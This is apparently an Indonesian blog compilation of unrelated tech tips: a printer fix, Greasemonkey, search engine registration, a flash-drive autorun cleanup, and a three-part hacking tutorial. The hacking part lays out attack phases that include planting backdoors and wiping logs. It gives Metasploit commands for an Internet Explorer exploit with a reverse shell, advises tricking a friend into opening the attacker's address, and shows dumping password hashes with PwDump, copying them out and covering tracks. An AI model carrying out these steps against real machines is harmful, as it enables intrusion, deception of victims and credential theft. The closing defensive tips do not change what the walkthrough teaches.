PRINTER HP D1360 NGE-BLINK

Seluruh Printer Merk HP tipe apapun tidak ada software reseternya. Masalahnya cuma sama Cadrige dan sensor yang kotor, cukup kamu bersihkan saja dengan tisu apabila sensornya kotor, kalau cadrige berarti harus ganti baru yang original.Hati-hati dalam pengisian cadrige HP karena itu bisa bocor dan membasahi motherboard printer kamu jika tinta sudah keburu bocor dimana mana, ada baiknya anda bongkar dan bersihkan terlebih dahulu,di dalam printer. karena kemungkinan board printer kerendam tinta (kasian kan tinta kan gak punya baju renang). kalo aku sekalian aku cuci chasingnya biar bersih, biar cepat laku kalok dijual lagi.

Aku sudah tanya ama paman google tentang artikel yg membahas printer hp ini kususnya hp d1360 dari sekian banyak. tapi kok banyak yang sama ya, mungkin pake rumus COPAS (copy paste) Semua udah aku cobah tapi masih belum berhasil. kemudian aku experimen sendiri pakek hp d1360 .aku bongkar total semuanya sekalian pingin tau,di dalam ada apanya ya. mungkin ada pak lurah di dalamya lagi ngetik. sekedar pemberitahuan kalok hp d1360 itu punyak orang jadi aku berani bongkar total. Berikut step by step yang aku lakukan untuk mengatasi blinking hp d1360(ini kisah nyata buka rekayasa)

1.Lepas terlebih dahulu kabel powernya dan kabel usb ke komp (biar gak kesetrum ,penulis gak bertanggung jawab jika anda kesetrum)

2.Kemudian lihat di belakng printer ada

3 lubang yg bertuliskan +15v,+32v lubang yg tengah adalah ground, jadi tugas anda short lubang +15v ,+32v dengan lubang tengah/ground. dengan pinset atau apapun lah pokoknya penghantar. dengan tujuan reflash/reset prog printer.

4.Terus masukin kabel power ,cobah hidupkan .apa masih blingking

5.kalok masih blinking cobah matikan printer kemudian tekan tmbol power tahan terus sampai tahun depan. sory sampai kamu masukan kabel powernya lagi. apa masih blm?

6.Cobah lepas cartridge semuanya dan bersihkan jalur yang di cartridge dan yang di socket printer biasnya bgan itu kotor terkena tinta 6.setelah itu matikan dan hidupkan printer lgi,gmna ? aduh masih blingking om! kita cobah cara yg lain okeh.

7.Lepas cartidge semua ,Masukan cartidge yg hitam aja.kalok udah gak blingkin berati cartige collor yg resek!!

8.Untuk cartidge color no 22 cara reset nya begini cobah tutup dengan isolasi/selotip pada jalur yang warna merah lihat gambar. kmudian masukan ke printer tutup matikan dan hidup kan. kmudian kmu lepas selotip yg warna merah,kemudian mati &hidupkan printernya.

9.Kalok belum bisa cobah tutp jalur yg warna biru dengan cara no8

10.Gila step nya banyak ya ,Masih blm bisah juga!!.maju terus pantang mundur, sekarng aku cobah tutup semua jalur dengan selotip tapi ada sbgian yang gak ketutup lihat gbr dibawah ini. Dan bim salabim sudah gak blingking, horeee dapat uang service lagi nih.mungkin ada yg gak percaya tapi ini kisah nyata Kalok punyak kmu masih blingkin berarti kmu blm jodoh dngan printer kmu? sebaikmya kasih kan kpd yg berjodoh dgn printer kmu, seperti aku heeeeeeee….. hoo…..hoo (ngemes)

Cara Install Script Travian dengan Greasemonkey

pernah maen game travian??? ato sedang mainin game ini,,,, yup betul… Travian adalah game yang simple cuma bangun desa kita, sehingga desanya bisa lebih berkembang dan kita nantinya bisa memiliki desa lebih dari satu. Untuk memainkan game ini, tidak memerlukan install game terlebih dahulu karena game ini berbasis web(yang biasa disebut game web based). Yang dibutuhkan adalah hanya browser saja untuk membuka webnya yang versi Indonesia yaitu http://travian.co.id

Belakangan ini ada add-ons dari mozilla yang membuat game travian lebih mudah dimainkan. Add-ons dari mozilla ini namanya Greasemonkey. Dengan Greasemonkey memainkan travian akan lebih efisien, dengan menampilkan link yang biasa digunakan. Misalnya kita harus mengklik 2 kali untuk mendapatkan link yang kita gunakan, nantinya hanya digantikan dengan mengklik 1 link.

Selain itu dengan Greasemonkey kita dapat membuat scripts sendiri sehingga kita dapat menentukan apa yang kita inginkan. Untuk membuat script-script tersebut dibutuhkan kemampuan programming. Oleh karena itu ada suat web yaitu http://userscript.org yang menshare script-script yang sudah dibuat oleh orang, kita dapat menginstallnya pada komputer kita.

Ada banyak script dengan kegunaan yang berbeda di share disana. Berikut cara menggunakan Greasemonkey :

1. Browser yang digunakan haruslah Mozilla Firefox bisa di download disini http://www.mozilla.com

2. Lalu install Greasemonkeynya

3. Restart browser mozilla nya

4. Setelah itu buka userscript.org untuk menginstall script pada Greasemonkey kita

5. Pilih salah satu script yang mau kita install, lalu klik installnya.

6. Sekarang buka travian kita dan rasakan perubahannya.

7. Untuk menonaktifkan greasemonkey tinggak klik kiri pada gambar monyetnya Lihatlah pada pojok kanan bawah browser mozilla kita, sekarang ada gambar Greasemonkey, nah dari gambar situ kita bisa manage / uninstall script kita. Tinggal klik kanan aja digambar monkeynya. Dengan menggunaka script ini akan memunculkan pra penghitungan sumber daya, bisa juga merubah tampilan (seperti skin).

Akan tetapi pada server indonesia belum diketahui apakah penggunaan script ini dibolehkan ato tidak,, (belum ada kepastian oleh admin). tengkyu dah membaca… kalo bisa comment ya….

disadur dari : http://punyakaes.blogspot.com

Mendaftarkan Situs ke Search Engine

Salah satu nilai lebih dari suatu website adalah terdaftar pada search engine populer sehingga mudah ditemukan dan tentu saja akan mendatangkan traffic yang lebih besar. Cara untuk terdaftar pada sebuah search engine sebenarnya cukup mudah meskipun Anda tidak dapat menyulap situs Anda untuk masuk ke halaman pertama index pencarian.

Hal – hal yang Harus dipenuhi
Untuk dapat masuk dalam daftar pencarian search engine, website Anda harus memenuhi beberapa persyaratan berikut :

  • Website Anda harus mengandung unsur text
    Search engine membaca file non-binary pada website Anda. Text – text yang terdapat di dalamnya akan disimpan dalam database search engine tersebut sehingga akan muncul pada pencarian dengan kata kunci yang relevan dengan isinya. Sangat tidak disarankan membuat suatu website dalam full flash karena teknologi search engine saat ini tidak dapat membaca file flash
  • Lengkapi header di setiap halaman
    Header yang terdiri dari title, meta description, dan meta keyword harus diisi dengan kata – kata yang relevan dengan isi website. Hal ini semakin memudahkan search engine untuk menyimpan isi halaman website Anda dalam databasenya.
  • Buat semua halaman dengan lengkap
    Sebelum Anda mulai mendaftarkan website Anda pada search engine, silahkan buat seluruh halaman dengan lengkap. Jangan sampai ada deadlink. Biasanya search engine tidak banyak mereferensikan hasil pencariannya pada website yang masih terdapat banyak deadlink.
  • Sebaiknya membuat sitemap
    Untuk mempermudah search engine menemukan halaman – halaman pada website Anda, buatlah sitemap yang berisi link ke seluruh halaman dalam website tersebut.
  • Tambahkan tag alt pada link image
    Tag alt pada image yang berkait (memiliki link) akan memudahkan search engine untuk mengcrawl halaman yang dituju oleh link tersebut.

Mendaftar di Google
Google memiliki banyak fasilitas untuk mendaftarkan website dan memasukkannya ke dalam index pencariannya. Untuk mendaftarkan suatu website di Google dapat memilih salah satu cara yang terdapat di halaman : http://www.google.com/intl/en/submit_content.html
Biasanya untuk website baru, Anda disarankan untuk mendaftarkannya melalui http://www.google.com/addurl/?continue=/addurl

Mendaftar di Yahoo
Untuk mendaftarkan situs Anda di Yahoo, dapat dilakukan melalui : http://search.yahoo.com/info/submit.html

INGAT! Tidak ada jaminan
Perlu diingat bahwa tidak ada jaminan website Anda akan masuk ke index pencarian Google, Yahoo, maupun search engine lain. Masing – masing search engine memiliki mekanisme seleksi, crawl, dan indexing yang berbeda – beda.

Cara termudah untuk dapat masuk pada index pencarian adalah melalui link. Tambahkan link ke website Anda dari website lain yang halaman – halamannya telah masuk ke index pencarian.

Membuat flashdisk aman dari autorun-nya si-virus

Oleh blckflcn

 

Tentunya teman2 semuanya sudah mengetahui bhw virus2 dapat menularkan dirinya ke komputer2 lain dengan media flashdisk. -.-“. Kesal? Sudah pasti! Saya juga merasakan perasaan yang sama ketika komputer saya juga ikut2an kena virus… tapi saya punya cara yang ampuh agar virus yang ada di flashdisk tersebut tidak dapat menularkan dirinya ke komputer lain..

Baiklah saya akan mulai membahasnya sekarang, diawali dengan cara penularan virus lewat media flashdisk. Sebenarnya sangat simple, ketika flashdisk dicolokan kedalam port usb virus yang sedang berjalan tinggal men-copy dirinya sendiri ke dalam flashdisk, dan tidak lupa pula dengan membuat file “autorun.inf” yang letak file-nya kasat mata sehingga tidak dapat dilihat. nah… file inilah yang akan kita edit agar virusnya tidak dapat menjalankan dirinya di komputer kita.

Cara yang pertama dengan mengedit secara manual dengan menggunakan notepad atau wordpad. Diasumsikan flashdisk kita yang telah dicolokan kedalam komputer (yang telah terinfeksi) beralamat “F:\”, maka saya akan mencoba membuka file “F:\autorun.inf” lalu enter. Lalu notepad akan terbuka secara otomatis dengan beberapa mantra didalamnya, setelah itu kita tinggal mengedit mantra tersebut dengan memblock semua mantra tersebut(ctrl+a) lalu hapus(backspace atau
del) lalu anda bisa membiarkannya kosong lalu tekan ctrl+s untuk men-savenya. Anda juga bisa menuliskan beberapa puisi indah tentang perdamaian didalamnya ^-^.

Tetapi bang blckflcn, bagaimana jika file tersebut memiliki attribute “read-only”? yang jelas kita tidak dapat mengeditnya secara manual!(aaaaarrrrrgh!!!!). Lalu? Apa yang dapat kita lakukan… bang blckflcn? Gigi dibalas dengan gigi, mata dibalas dengan mata, dan yah… anda benar! MANTRA juga DIBALAS DENGAN MANTRA!! Mantranya sangatlah mudah… saya akan membahasnya secara bertahap sekarang juga :

1)buka aplikasi notepad (tempat dimana kita akan menulis mantra)

2)tuliskan mantra
del /a:r f:\autorun.inf” (tnp tanda petik) lalu enter.

3)langkah selajutnya adalah tulis mantra lagi! Mantranya “echo ‘terserah tulisan apa’ >f:\autorun.inf&attrib +r f:\autorun.inf” (tnp tanda petik juga).

4)lalu save file mantra tersebut dengan nama file terserah anda dan path-nya terserah anda juga, tetapi extension-nya harus “.bat”(harus tidak boleh tidak)

5)lalu jalankan file mantra yang baru kita buat tersebut

6)buka explorer

7)pada bagian address tuliskan “F:\autorun.inf”, lalu tekan enter sambil mengucapkan “sim…salabim…”. Maka aplikasi notepad akan muncul lagi sambil menampilkan beberapa tulisan, tetapi yang ini jelas bukan mantra ^-^.

Setelah beberapa step tadi, virus tidak dapat menjalankan dirinya di komputer lain ketika kita mencolokan flashdisk kita kedalam port usb-nya. Tetapi bang blckflcn, virus2 dari komputer yang terinfeksi tersebut masih ada di dalam flashdisk saya. Bagaimana ini? Yah, itu sih bukan tugas saya lagi. Itu sih sudah menjadi tugas anti-virus… saya hanya memberitahukan cara agar virusnya tidak berjalan ketika flashdisk kita dicolokan kedalam port usb pada komputer yang lain… lagian mantra yang saya punya masih belum begitu ampuh untuk membuat virus tidak berjalan di komputer. Oleh karena itu, saya akan belajar tentang mantra2 tersebut di hogwarts agar lebih ampuh. Hehehe… ^-^.

Okeh… sekian saja info2 dan mantra2 yang saya jabarkan. (krn sdh tidak tahu lagi harus menjabarkan mantra yang mana ^-^)

 

sumber : http://www.jasakom.com/index.php?categoryid=9&p2_articleid=568

Belajar Hacking

Intro

Dalam suatu kesempatan, saya pernah melihat seorang auditor keamanan jaringan melalukan penetration test (pen-test) terhadap suatu sistem IT. Karena penasaran saya melihat sedikit2 cara penetration test yang dilakukan. Waktu itu saya belum banyak tahu tools apa aja yang digunakan, yang saya tau dia menggunakan tcpdump untuk menganalisis paket apa aja yang lewat, trus untuk men-scan beberapa host menggunakan Nessus. Ada salah satu aplikasi yang digunakan berbasis web yang terdapat kumpulan beberapa exploit. Waktu itu saya belum tahu aplikasi apa itu, yang saya ingat aplikasi itu menggunakan alamat http://127.0.0.1:55555, nah berbekal port 55555 saya mencari di google, dan ternyata itu adalah Metasploit Framework!.

Peristiwa itu menginspirasikan saya untuk mengenang masa-masa lalu ketika masih seneng2nya ngoprek dan belum ‘tercemar’ oleh DotA. Akhirnya sekarang saya ingin belajar ngoprek lagi, tp lebih fokus ke exploitnya saja. Tulisannya ini akan saya buat menjadi tiga bagian. Bagian pertama mengenai bagaimana salah satu cara umum yang dilakukan untuk menge-hack suatu system. Disini saya lebih menitikberatkan untuk hacking OS Windows XP, karena OS ini paling banyak dipakai orang. Bagian kedua lebih banyak ke teori mengenai exploit. Tapi karena mungkin akan sangat sulit dipahami (saya sendiri msh blm bisa membuat exploit sendiri), saya hanya menuliskan hasil terjemahan yang membahas apa itu dan cara kerja exploit. Sedangkan bagian terakhir merupakan praktek bagaimana mengelakukan penetration test menggunakan metasploit di Windows XP.

Bagian 1

*ini merupakan artikel lama mengenai salah satu cara umum yang dilakukan untuk hacking. (artikel ini jg di mirror oleh Negative a.k.a Jim Geovedi di sini). Langkah dibawah ini merupakan cara ’standar’, hacking sebenarnya tidak harus selalu sesuai dengan ’standar’ ini.

Hacking buat pemula

- by aCh

Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp….

Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….

Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.

Pro dan Kontra Hacking

Pro

Kontra

Etika Hacking

Semua informasi adalah free

Jika semua informasi adalah free, maka tidak ada ladi privacy

Aspek Security

Intrusion adalah ilustrasi kelemahan sistem

Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci

Idle Machines

Hacking hanya pada idle machines

idle machines milik siapa ?

science education

hanya membobol tapi tidak merusak

“hacker wannabe” berpotensi sangat besar untuk merusak

Okeh, sekarang waktunya melakukan aksi…

1. Fase Persiapan

~ Mengumpulkan informasi sebanyak-banyaknya

- Secara Aktif : – portscanning

- network mapping

- OS Detection

- application fingerprinting

Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat

- Secara Pasif : – mailing-list (jasakom, newbie_hacker, hackelink, dsb)

- via internet registries (informasi domain, IP Addres)

- Website yang menjadi terget

2. Fase Eksekusi
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milw0rm, milis bugtraq, atau mencari lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit -> local host ->

$gcc -o exploit exploit.c

$./exploit

# hostname (# tanda mendapatkan akses root)

remote host -> $gcc -o exploit exploit.c

$./exploit -t www.target.com

# (klo beruntung mendapatkan akes root)

~ Brute Force

- Secara berulang melakukan percobaan otentifikasi.

- Menebak username dan password.

- Cracking password file

~ Social Engineering

- Memperdayai user untuk memeberi tahu Username dan password

- Intinya ngibulin user….

3. Fase Setelah Eksekusi

~ Menginstall backdoor, trojans, dan rootkit

~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin

~ Menyalin /etc/passwd atau /etc/shadow/passwd

Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Kalaupun pun ga terhubung ke jaringan, kita masih bisa menggunakan Virtual Machine menggunakan VMWare seperti yang nanti akan dibahas pada bagian 3!

Referensi :

-Hacking and Defense, Jim Geovedi, negative@magnesium.net

-Network Defense, Jim Geovedi, negative@magnesium.net

Belajar Hack (2) – What is an Exploit?
8 11 2006

*This article originally was written by Pukhraj Singh, K.K. Mookhey, you can get it from here. I am just repost and summarize it so you can understand what is an exploit. I’m sorry not to translate this article into Bahasa Indonesia coz I’m too lazy. Maybe you want to help us to translate it? :-)

Exploit

sploit
(n.) Exploit. A defect in the game code (see bug) or design that can be used to gain unfair advantages. (Source: Dictionary of MMORPG Terms)

At present the exploit development community (hackers and security professionals alike) is more sentient than ever before. The timeline between the release of an advisory and the development of an exploit has shrunk to a great extent. Exploit development, which was considered more of Wiccan art, has reached large masses. The network security administrator needs to be more vigilant then ever before as the enemy is always one step ahead with the latest exploit in his hand.
Memory organization

The basic exploitation techniques can be methodically categorized, like any other technical issue. Before going further, however, the reader must be aware of the basic process of memory organization. A process running in memory has the following sub-structures:

Code is the read-only segment that contains the compiled executable code of the program.

Data and BSS are writable segments containing the static, global, initialized and un-initialized data segments and variables.

Stack is a data structure based on Last-In-First-Out ordering. Items are pushed and popped from the top of the stack. A Stack Pointer (SP) is a register which points to the top of the stack (in most cases). When data is pushed on the stack, SP points to (the top of the stack). Stack grows towards negative memory addresses. It is used for storing the context of a process. A process pushes all its local and dynamic data on to the stack. Instruction Pointer (IP) is a register used to point to the address of the next instruction to be executed. The processor looks at IP each time to find the next instruction to be executed. When an abrupt program redirection takes place (generally due to jmp or call) the address of the next instruction, after returning back from redirection, can be lost. In order to overcome this problem the program stores the address of the next instruction to be executed (after returning from jmp or call) on the stack, and it is called the return address (implemented through assembly instruction RET). This is how a normal program containing many function calls and goto instructions keeps track of right path of execution.

Heap is basically the rest of the memory space assigned to the process. It stores data which have a lifetime in between the global variables and local variables. The allocator and deallocator work to assign space to dynamic data and free heap memory respectively.

This was a brief fly-over on the basics of process organization. Now I describe some techniques recurrently used to abuse the harmony of process organization.
Buffer overflows

The word gives goose bumps to any person who has dealt with them, be it a coder, an application tester or the security administrator. Some say it’s the biggest security risk of the decade. The technique of exploitation is straightforward and lethal. The stack of the program stores the data in order whereby the parameters passed to the function are stored first, then the return address, then the previous stack pointer and subsequently the local variables. If variables (like arrays) are passed without boundary checks, they can be overflowed by shoving in large amounts of data, which corrupts the stack, leading to the overwrite of the return address and consequently a segmentation fault. If the trick is craftily done we can modify the buffers to point to any location, leading to capricious code execution.
Heap overflows

The allocated memory in a heap is organized as a doubly linked list. By performing an overflow we can modify the pointers of the linked list to point into memory. Heap overflows are hard to exploit and are more common in Windows as they contain more prominent data which can be exploited. In the case of a malloc memory allocation system, the information regarding the free and allocated memory is stored within the heap. An overflow can be triggered by exploiting this management information such that we can write to random memory areas afterwards, which can lead to code execution.

So how is the overflow triggered? There are many weapons in the stockpile like strings and string functions, format strings, null pointers, integer overflows, signed issues and race conditions which can be a help to generate exceptional conditions in a process.

I stress the fact that this article was not meant to be a definitive guide to various exploitation techniques. We only provide a quick overview of what is important, in order to get a solid understanding of the things to come in subsequent parts of this article. They just act as pointers for further reference

The Birth of an Exploit

Exploit development tools and automated frameworks for exploit testing and simulation is the need of the hour. Metasploit Framework (MSF) is something which fits the bill. Its latest release has the agility and muscle quite comparable to its high priced commercial counterparts and the lethality to code an exploit in the shortest possible timeframe, due to a very well defined interface for development. With a complete exploit environment, working exploits, effectual payloads and added handlers, this is one tool which the penetration testers must utilize.

The body or structure of an exploit can be divided into various components, as described in Figure 1. We describe some exploit miscellany which will help us to analyze the figure as shown.

exploit.JPGFigure 1
Shellcode

This is the payload which is to be executed after exploitation. In most cases we redirect the path of execution so that the injected payload is executed. Hence the return address is made to point to this shellcode. It comprises of assembly instructions encoded as a binary string which perform operations like spawning a shell. A good piece of shellcode must be a trade-off between and size and complexity. There are a lot of verifications to be made during payload encoding like keeping a check on restricted characters. Nowadays, payloads have been customized to be very short and require less space. They can execute many complex operations from opening a listening socket to even loading a compiler on the remote computer.
Injection vector

The pointer or offset where the shellcode is placed in a process and the return address is modified to point to.

Request builder

This is the code which triggers the exploit. If it’s related to string functions, then scripting languages are generally preferred.

Handler Routine

This part generally consumes the majority of the code. This is a handler for the shellcode doing operations like linking to a bindshell, or connecting console to a socket.

User options handler

It is basically a user level front-end providing the user with various control options like remote target selection, offset selection, verbosity, debugging and other options. This forms majority of the exploit code and makes the code quite bulky.

Network connection Handler

This comprises of the various routines which handle network connections like name resolution, socket establishment, error handling etc.

As we can see there is a lot of unnecessary and repetitive code which makes the exploit really bulky and error prone.

In the course of development, many problems are faced which hinder the exploit development process. The mad race of people trying to release the exploit first leads to a lot of bad and unnecessarily complicated code.

Some exploits need an understanding of deeper concepts and research, such as exploits based on network protocols (RPC, SMB and SSL) and obfuscated APIs. Also, not much information is revealed in the advisory so there is always the need for experimentation.

Finding target values is also one big headache which involves lot of trial and error.

Finally, most payloads are hard coded and any changes breaks the exploit.

Many firewalls and IPSes detect and block shellcode.

Time is of primary concern, and some exploits consume quite a lot of time and concentration, both of which are the precious assets of a security researcher.

All said and done, coding exploit is one hell of a messy job!

gmn.. ngerti ga?? ga mudheng ya… sama dong! ;p

ah… ini mah kebanyakan teorinya, mana!!.. mana prakteknya?!

sabar, orang sabar pantatnya lebar ;p kenapa saya posting artikel itu? soalnya biar kita ngerti, minimal tahu lah apa yang kita pakai (exploit). Tidak semua exploit yang kita peroleh diinternet itu aman, kadang-kadang malah ada backdoornya. Jadi lebih baik, klo pakai exploit lihat2 source codenya juga. yah pura2 aja ngerti, biar keliatan keren!

Belajar Hack (3) – Hack Windows XP SP2
14 11 2006

*Fyuhh… akhirnya sempet juga nyelesain tulisan ini. Yosh.. here is the prof of concept!.

Disclaimer: This document was written in the interest of education. The author cannot be held responsible for how the topics discussed in this document are applied.

Setelah mengetahui sedikit dan konsep dasar ‘standar’ mengenai hack yang dibahas dibagian pertama dan mengetahui sedikit materi mengenai exploit pada bagian kedua, sekarang langsung aja kita praktek. Disini saya sengaja menggunakan VMWare untuk melakukan simulasi, karena tidak semua orang dapat mempraktekannya dalam suatu jaringan. Dengan menggunakan VMWare, kita dapat mensimulasikan jaringan sederhana yang seolah-olah ada suatu jaringan yang terdiri dari komputer kita sendiri dan komputer lainnya. Bagi yang belum bisa menggunakan VMWare, coba cari diinternet! Sistem Operasi yang saya gunakan adalah Windows XP SP2.

Tools yang saya gunakan adalah Metasploit Framework untuk melakukan exploit serta PwDump6 untuk mengambil hash file dari komputer target. Apa itu Metasploit Framework ?

The Metasploit Framework is a complete environment for writing, testing, and using exploit code. This environment provides a solid platform for penetrationtesting, shellcode development, and vulnerability research.

Untuk penggunaan lebih lanjut mengenai Metasploit, anda dapat membaca dokomentasi yang juga diikutsertakan dalam instalasi. Untuk melakukan instalasi metasploit versi 2.7, dibutuhkan user administrator. Sebelumnya saya mencoba menginstall dengan ‘limited user’ tapi setelah diinstall tidak bisa dijalankan. Sebenarnya instalasi metasploit ini hanya mengekstrak file saja. Jadi anda dapat menginstallnya tanpa harus mendapatkan user admin serta meletakkannya dimanapun tanpa harus menginstal di Folder Program Files. Namun setelah sedikit dioprek, ternyata tidak harus admin yang bisa menjalankan. Agak ribet dan males juga sih nulis disini, soalnya ketika mencoba versi terbaru, yaitu versi 3 Beta 3, kita dapat menjalankannya tanpa harus menginstall dengan user admin. Gitu aja ko repot! Lagipula versi 3 (skarang msh beta) lebih keren dan fiturnya lebih banyak. Tapi sayangnya untuk msfweb (versi webnya) belum bisa dijalankan sepenuhnya.

Ok.. sekarang saya asumsikan anda telah membaca userguide metasploit (ah.. paling asumsi saya salah ;p). Biar lebih keliatan keren dan memahami detailnya, saya menjelaskan metasplooit yang menggunakan console (mfsconsole) saja. Metasploit menggunakan cygwin untuk menjalankannya, karena metasploit dibuat menggunakan Perl. Sekarang mari kita praktekkan!!

Pertama2 jalankan ‘mfsconsole’!

main1.JPG

Untuk mempelajari command apa saja yang ada di MSFConsole gunakan perintah ‘help’.

Karena komputer yang ingin dijadikan target adalah Windows XP SP2, maka digunakan exploit yang berpengaruh terhadap XP SP2 yaitu dengan memanfaatkan kelemahan pada Internet Explorer VML Fill Method Code Execution.

This module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This module has been tested on Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.

Untuk melihat info dari exploit ini gunakan perintah :

msf > info ie_vml_rectfill

Exploit ie_vml_rectfill memanfaatkan kelemahan pada Internet Explorer. Oleh karena itu, exploit ini akan berpengaruh jika komputer target menjalankan IE dan mengarahkan url-nya ke komputer penyerang. Untuk itu, kita harus menggunakan sedikit ‘social engineering’, seperti jika di kost/lab/kantor kita bilang ke teman kita bahwa kita sedang mencoba membuat aplikasi web terbaru, lalu minta tolong dilihat menggunakan IE ke alamat IP (atau nama komputer) kita. Misalkan http://192.168.186.1. Biasanya setelah exploit ini dijalankan dan komputer target telah terhubung, maka IE akan crash. Biarkan beberapa saat untuk membiarkan exploit ‘bekerja’. Setelah beberapa saat bilang aja “wah.. ada error nih. Ok deh.. saya coba betulin dulu… makasih ya”. Baru tutup IE-nya pake Task Manager (walaupun pake TM, IE msh sulit di-kill, jangan lupa untuk me-’end process’-kan ‘dumpred.exe’ juga, tapi setelah exploit bekerja :-D ).

Untuk menggunakan exploit gunakan perintah2 berikut dalam console :

msf > use_ie_vml_rectfill

msf > set PAYLOAD win32_reverse

msf > set RHOST ip_target

msf > set LHOST ip_penyerang

msf > exploit

Hasilnya akan tampak seperti gambar berikut :

exploit1.JPG

Dalam contoh diatas, IP komputer target (RHOST) adalah 192.168.186.128, sedangkan komputer penyerang (LHOST) adalah 192.168.186.1. Lalu ‘payload’ yang digunakan adalah ‘win32_reverse’ dan HTTP PORT nya adalah 80 (default http port). Setalah menjalankan perintah ‘exploit’, baru kita minta komputer target untuk menjalankan IE dan mengarahkan url-nya ke komputer kita. Proses ini akan memakan waktu agak lama, bahkan terkadang tidak berhasil. Jadi coba-coba aja terus :-D

Jika anda berhasil, maka anda akan mendapatkan ‘cmd.exe’ dari komputer target.

Crack da Password!

Nah, setelah kita ‘menguasai’ komputer target, skalian aja kita lihat password-nya. Caranya mirip dengan artikel saya sebelumnya tentang Hack Win XP SP2 Password, tapi karena ini remote maka kita harus ‘menyediakan’ program yg dibutuhkan yaitu PwDump. Agar cara ini berhasil, saya asumsikan pada komputer target user yang sedang login mempunyai akses admin. Klo user yang digunakan komputer target yang dimanfaatkan IE-nya hanya user ‘biasa’, pwdump tidak akan berhasil!

Pertama kita share dulu PwDump dari komputer kita dengan full access agar kita bisa mengupload hasil dump password komputer target, tapi dengan akhiran ‘$’ biar tidak terlihat dikomputer umum. Misalkan nama folder yang di share PwDump$. Lalu dari console yang berhasil dihack, ambil PwDump dengan Map Network Drive dari komputer kita dengan ‘net use’. Contoh perintah yang digunakan :

pwdump.JPG

Setelah itu copy Pwdump ke komputer target dalam folder sementara, ‘temp’. Setelah Pwdump berhasil di-copy ke komputer target, jalankan Pwdump dengan perintah

C:\temp\Pwdump –o pass.txt 127.0.0.1

Klo berhasil akan tampak pada gambar berikut.

dump1.JPG

Lalu copy file pass.txt ke komputer kita

C:\temp\copy pass.txt z:

Dan terakhir, jangan tinggalkan jejak bahwa kita sudah mampir kesitu.

clean.JPG

Nah, udah dapet hash file nya kan. Tinggal di crack aja deh…. (baca artikel sebelumnya buat nge-crack password).

Sebenarnya masih banyak yang dapat dioprek dari metasploit. Dalam metasploit terdapat banyak exploit, payload, meterpreter, dsb yang sangat ‘menyenangkan’ untuk dioprek. Untuk mempelajari metasploit, disitusnya terdapat dokumentasi yang lumayan baik.

Happy Hacking…..

Beberapa saran agar windows kita tetap aman terhadap exploit diatas.

1. Jangan gunakan Internet Explorer. Gunakan Mozilla Firefox atau Opera!.

2. Patch Windows anda.

3. Gunakan antivirus dengan update terbaru

4. Hati2 terhadap teman anda sendiri.. waspadalah!! ;p

sumber : http://spinx21.blogspot.com/

Reference :

http://www.metasploit.com

Trik Menggunakan Mesin Pencari Google

Pada kesempatan ini akan dipaparkan penggunaan mesin pencari informasi Google, untuk mendapatkan informasi yang tersembunyi dan sangat penting. Dimana informasi tersebut tidak terlihat melalui metode pencarian biasa. Artikel ini berdasarkan pada FAQ dan diskusi pada milis situs keamanan jaringan komputer http://bugtraq.org dan http://insecure.org tentang metode pengumpulan informasi berkaitan dengan aktifitas webhacking .

Kecenderungan penggunaan teknik ini pada awalnya digunakan untuk mendapatkan informasi sebanyak banyaknya kepada target mesin ataupun mendapatkan hak akses yang tidak wajar. Pencarian informasi secara akurat, cepat dan tepat didasari oleh berbagai macam motif dan tujuan, semoga saja paparan ini digunakan untuk tujuan mencari informasi dengan tujuan yang tidak destruktif, tetapi ialah untuk membantu pencarian informasi yang tepat, cepat dan akurat untuk tujuan yang baik dan bermanfaat.
Dibawah ini akan dijelaskan tentang perintah khusus pada Google, dan akan dijelaskan pengertian dan penggunaan dari tiap – tiap perintah untuk mendapatkan informasi tersembunyi dan sangat penting.

